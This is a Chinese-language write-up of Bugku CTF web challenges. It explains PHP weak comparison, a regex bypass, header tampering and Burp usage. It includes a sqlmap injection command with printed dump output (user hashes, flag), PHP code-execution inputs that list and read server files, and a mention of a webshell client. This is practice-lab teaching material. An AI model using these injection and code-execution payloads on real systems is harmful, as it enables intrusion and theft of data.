bugku web所有writeup_超詳細講解_持續更新


 

 

首先說一下我的主用工具,在windows下,主要是用這些,用到其他特定的工具會在題里說。

0.瀏覽器:火狐,配合Max hackbar插件 (這個是免費的)

1.抓包改包:burpsuite。https://portswigger.net/burp

2.目錄掃描:dirmap。https://github.com/H4ckForJob/dirmap

3.sql注入:sqlmap。https://github.com/sqlmapproject/sqlmap

4.連接木馬:菜刀。https://github.com/raddyfiy/caidao-official-version

這些工具的入門操作就不講了,可以先學習一波。

---------------------------------------------------------------------------

1.web2:這題查看源代碼即可,在url前加上  view-source:  。或者按F12也行。

view-source:http://123.206.87.240:8002/web2/

2.計算器

這個輸入框只能輸入一位數字,把它改大即可。任何的前端限制都是不安全的。

按F12, 用選區器選取文本框,在maxlength那個把1改大,然后就能正常輸入了。

3。web基礎$_GET

這個確實是基礎,在get請求時,傳入參數形式是在url后面加  ?參數=值。多個參數用  ?參數1=值1&參數2=值1……

源代碼含義:

$what=$_GET['what'];//讀取參數what,把值存到變量what里
echo $what;     //輸出
if($what=='flag')//如果值是flag
echo 'flag{****}';//打印flag

payload:

http://123.206.87.240:8002/get/?what=flag

4. web基礎$_POST

POST請求沒辦法寫在url里,需要用hackbar或者burp修改,格式就是在最下面Content里寫 參數1=值&參數2=值

如果用hackbar就沒這么麻煩了,直接在框里填就行。

源代碼:

$what=$_POST['what']; //接受post過來的參數what,存到what里
echo $what;     //打印
if($what=='flag')     //如果值是flag
echo 'flag{****}';//    打印flag

payload:

5.矛盾

$num=$_GET['num']; //獲取參數num
if(!is_numeric($num))// 如果num不是數字
{
echo $num;
if($num==1)    //如果num是數字1
echo 'flag{**********}'; //打印flag
}

 這個要求不是數字且為1,有點矛盾是不是?其實有繞過的辦法。下面num==1的判定是兩個等號,這是弱類型比較,如果等號兩邊類型不同,會轉換成相同類型再比較。與之對應的是強類型比較,用的是三個等號===,如果類型不同就直接不相等了。在弱類型比較下,當一個字符串與數字比較時,會把字符串轉換成數字,具體是保留字母前的數字。例如123ab7c會轉成123,ab7c會轉成0.(字母前沒數字就是0)

所以payload:

http://123.206.87.240:8002/get/index1.php?num=1a

 

 6.web3

 用burp抓包,可以看到響應的代碼,里面有這么一串字符

復制出來粘貼到自帶的decoder里,在decode as 選HTML,就能解碼出flag

7.域名解析

域名解析是指把一個域名指向一個ip,就像通訊錄把姓名指向一個電話一樣,可以免去記數字的麻煩。

做這題有兩種解法,

···1)、用ip訪問,抓包,把host字段直接改成域名。

···2)、在本機host文件里添加解析規則

Windows是改C:\Windows\System32\drivers\etc里的host,添加規則:

8.你必須讓他停下

正常在瀏覽器里是沒辦法停的,但是可以在burp里達到單步執行的效果

抓包后發到repeater,每點一次Go就會刷新,等到右邊相應<img src="10.jpg"時就可以顯示flag了,多刷新幾次就好了

9.

 

 ----(稍后再補)

 

 

字符?正則?

源代碼里關鍵是這句

$IM= preg_match("/key.*key.{4,7}key:\/.\/(.*key)[a-z][[:punct:]]/i", trim($_GET["id"]), $match);

trim()是把傳進來的參數id去掉首位的空字符,比如空格制表符這種。

然后需要滿足前面的正則表達式。正則表達式是從左往右拆分了讀,首尾的斜杠不用管,因為是php的語法規則。最后的i表示不區分大小寫。

規則是:

key+(任意字母 X n次)+key+(任意字母出現4~7次)+key:/+任意字母+/+任意字母X n次+(key+a~z的一個字母)+一個符號

具體的規則建議學一波,因為使用頻率實在太高了,這是個繞不開的問題。

於是構造payload:

http://123.206.87.240:8002/web10/?id=keymkeymmmmkey:/m/keym.

 

你從哪里來

這個考察了header的referer字段,referer向服務器表示來源地址,比如從谷歌搜到的網站,點進去就會發送

Referer: https://www.google.com

所以抓完包在header加上這句就行

這是一個神奇的登陸框

這題其實有兩個flag。

第一個:

直接丟到sqlmap里測試,發現用戶名處可以注入。命令:

py -2 sqlmap.py -u "http://123.206.87.240:9001/sql/" --data="admin_name=1^&admin_passwd=23333^&submit=GO+GO+GO"

然后直接把庫脫下來,命令是在上面的后面再加上

--dump

   因為密碼很像一段hash,sqlmap會問你要不要保存,要不要爆破等。都選N即可,因為這個就是密碼了。先是whoami表,再是flag1表:

[00:29:03] [INFO] resumed: "1","AdMiNhEhE","9db3bae8316e95698ed679aa109c1925"
[00:29:03] [INFO] resumed: "2","BlCkJaCk","5FF69C838EDD75995197C516C677A416"
[00:29:03] [INFO] recognized possible password hashes in column 'w_passwd'
do you want to store hashes to a temporary file for eventual further processing with other tools [y/N] N
do you want to crack them via a dictionary-based attack? [Y/n/q] N
Database: bugkusql1
Table: whoami
[2 entries]
+------+-----------+----------------------------------+
| w_id | w_name | w_passwd |
+------+-----------+----------------------------------+
| 1 | AdMiNhEhE | 9db3bae8316e95698ed679aa109c1925 |
| 2 | BlCkJaCk | 5FF69C838EDD75995197C516C677A416 |
+------+-----------+----------------------------------+

[00:30:06] [INFO] table 'bugkusql1.whoami' dumped to CSV file 'C:\Users\omega\.sqlmap\output\123.206.87.240\dump\bugkusql1\whoami.csv'
[00:30:06] [INFO] fetching columns for table 'flag1' in database 'bugkusql1'
[00:30:06] [INFO] used SQL query returns 1 entries
[00:30:07] [INFO] fetching entries for table 'flag1' in database 'bugkusql1'
[00:30:07] [INFO] used SQL query returns 1 entries
[00:30:07] [INFO] used SQL query returns 1 entries
[00:30:07] [INFO] resumed: ed6b28e684817d9efcaf802979e57aea
[00:30:07] [INFO] recognized possible password hashes in column 'flag1'
do you want to crack them via a dictionary-based attack? [Y/n/q] N
Database: bugkusql1
Table: flag1
[1 entry]
+----------------------------------+
| flag1 |
+----------------------------------+
| ed6b28e684817d9efcaf802979e57aea |
+----------------------------------+

[00:32:19] [INFO] table 'bugkusql1.flag1' dumped to CSV file 'C:\

  

把這個flag加上flag{}就能通過了。

第二個flag:

用上面的用戶名密碼登錄,可以進入一個命令執行頁

在Magic框里可以輸入命令,但前端不允許編輯,想編輯就修改這里。當然也可以抓包,在burp里輸入。

查看目錄下的文件:

Code=print_r(scandir('./'));

  

然后讀取flag:

Code=show_source("FI@g3.php");&submit=DO+DO+DO

  

同樣,把這個flag添加flag{}前綴后也能提交,這flag和之前那個不一樣,所以選哪個都行。只不過bugku只讓交一個。

===待續==

 

 

 

 

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM